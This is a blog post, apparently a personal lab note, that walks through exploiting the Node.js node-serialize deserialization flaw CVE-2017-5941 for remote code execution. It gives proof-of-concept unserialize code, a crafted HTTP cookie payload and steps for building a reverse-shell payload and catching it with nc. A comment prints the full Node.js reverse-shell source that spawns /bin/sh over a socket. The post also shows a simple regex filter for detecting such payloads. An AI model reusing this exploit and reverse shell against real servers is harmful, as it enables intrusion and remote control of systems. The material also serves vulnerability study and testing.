Node.js CVE-2017-5941

gamzatti
Vote 0 Votes

Vulnerability test of Node.js

Exploiting Node.js deserialization bug for Remote Code Execution(CVE-2017-5941)
  • Usage of node-serialize.unserialize()
  • Object is serialized as JSON format.
    node-serialize(IIFE)
    -----------
    var serialize = require('node-serialize');
    var obj = '{"rce":"_$$ND_FUNC$$_function (){console.log(\'exploited\')}()"}';
    var objS = serialize.unserialize(obj);
    typeof objS === 'string';
    console.log(objS);
    ----------------
    result:
    exploited
    { rce: [Function] }
    

    node-serialize(non IIFE)
    var serialize = require('node-serialize');
    var obj = '{"rce":"_$$ND_FUNC$$_function () {console.log(\'exploited\')}"}';
    var objS = serialize.unserialize(obj);
    objS.rce();
    typeof objS === 'string';
    console.log(objS);
    ----------------
    result:
    { rce: [Function] }
    --> function is not executed without "objS.rce();"
    
  • Exploiting CVE-2017-5941
  • exploit payload:
    =====
    GET / HTTP/1.1
    Host: localhost:3000
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Cookie: profile=eyJyY{omitted}9Cg==
    Connection: close
    If-None-Match: W/"a-oL/mTlWw0eWc0S2LtoyC/g"
    Cache-Control: max-age=0
    =====
    
    Decoded payload:
    
    {"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,
    {omitted},84,41,59,10))}()"}
    
    c.f. Normal payload
    
    ===
    GET / HTTP/1.1
    Host: localhost:3000
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Cookie: profile={base64 encoded strings}
    Connection: close
    If-None-Match: W/"a-oL/mTlWw0eWc0S2LtoyC/g"
    Cache-Control: max-age=0
    ====
    
    {"username":"ajin","country":"india","city":"bangalore"}
    
  • Verify for detection
    If decorded strings contains "eval(" or "()", issue alert and exit.
    
    ----
       var str = new Buffer(req.cookies.profile, 'base64').toString();
       if ( str.match(/eval\(|\(\)/)) {
          console.log("exploit payload detected!!!");
          res.send("Server error");
          return;
       }
       var obj = serialize.unserialize(str);
    ----
    
  • Installation of Node.js
  •  - Download  binary from official page
    
     - Copy binary to /usr/local
    
     - Set environment val
       export NODE_PATH=/usr/local/lib/node_modules
    
     - Install required module
       npm install -g {modulename}
       npm install -g node-serialize
    
       Installed modules can be listed with:
       npm list --depth=0 -g
    
     - Launch node.js application
       node xx.js
    
  • Prepare for exploit
  • Node.Js-Security-Course
    - Launch test application
     node deserialization.js
    
    - Create payload
     python nodejsshell.py 127.0.0.1 1337
    
    - Encode payload with base64
     base64 payload.txt | tr -d '\n'
    
    - Launch nc for listening reverse shell
      nc -l 127.0.0.1 1337
    
    - Exploit using burp
    
    

    2 Comments

    | Leave a comment

    Additional info for usage of node-serialize

    Object is serialized as JSON format.
    node-serialize(IIFE)


    -----------
    var serialize = require('node-serialize');
    var obj = '{"rce":"_$$ND_FUNC$$_function (){console.log(\'exploited\')}()"}';
    var objS = serialize.unserialize(obj);
    typeof objS === 'string';
    console.log(objS);
    ----------------
    result:
    exploited
    { rce: [Function] }

    node-serialize(non IIFE)

    var serialize = require('node-serialize');
    var obj = '{"rce":"_$$ND_FUNC$$_function () {console.log(\'exploited\')}"}';
    var objS = serialize.unserialize(obj);
    objS.rce();
    typeof objS === 'string';
    console.log(objS);
    ----------------
    result:
    { rce: [Function] }
    --> function is not executed without "objS.rce();"

    Exploit payload contains the following codes.
    -------------------
    var net = require('net');
    var spawn = require('child_process').spawn;
    HOST="127.0.0.1";
    PORT="1337";
    TIMEOUT="5000";
    if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
    function c(HOST,PORT) {
    var client = new net.Socket();
    client.connect(PORT, HOST, function() {
    var sh = spawn('/bin/sh',[]);
    client.write("Connected!\n");
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
    sh.on('exit',function(code,signal){
    client.end("Disconnected!\n");
    });
    });
    client.on('error', function(e) {
    setTimeout(c(HOST,PORT), TIMEOUT);
    });
    }
    c(HOST,PORT);

    Leave a comment

    About this Entry

    This page contains a single entry by gamzatti published on February 11, 2017 9:28 PM.

    Installation of Movable Type is the next entry in this blog.

    Find recent content on the main index or look in the archives to find all content.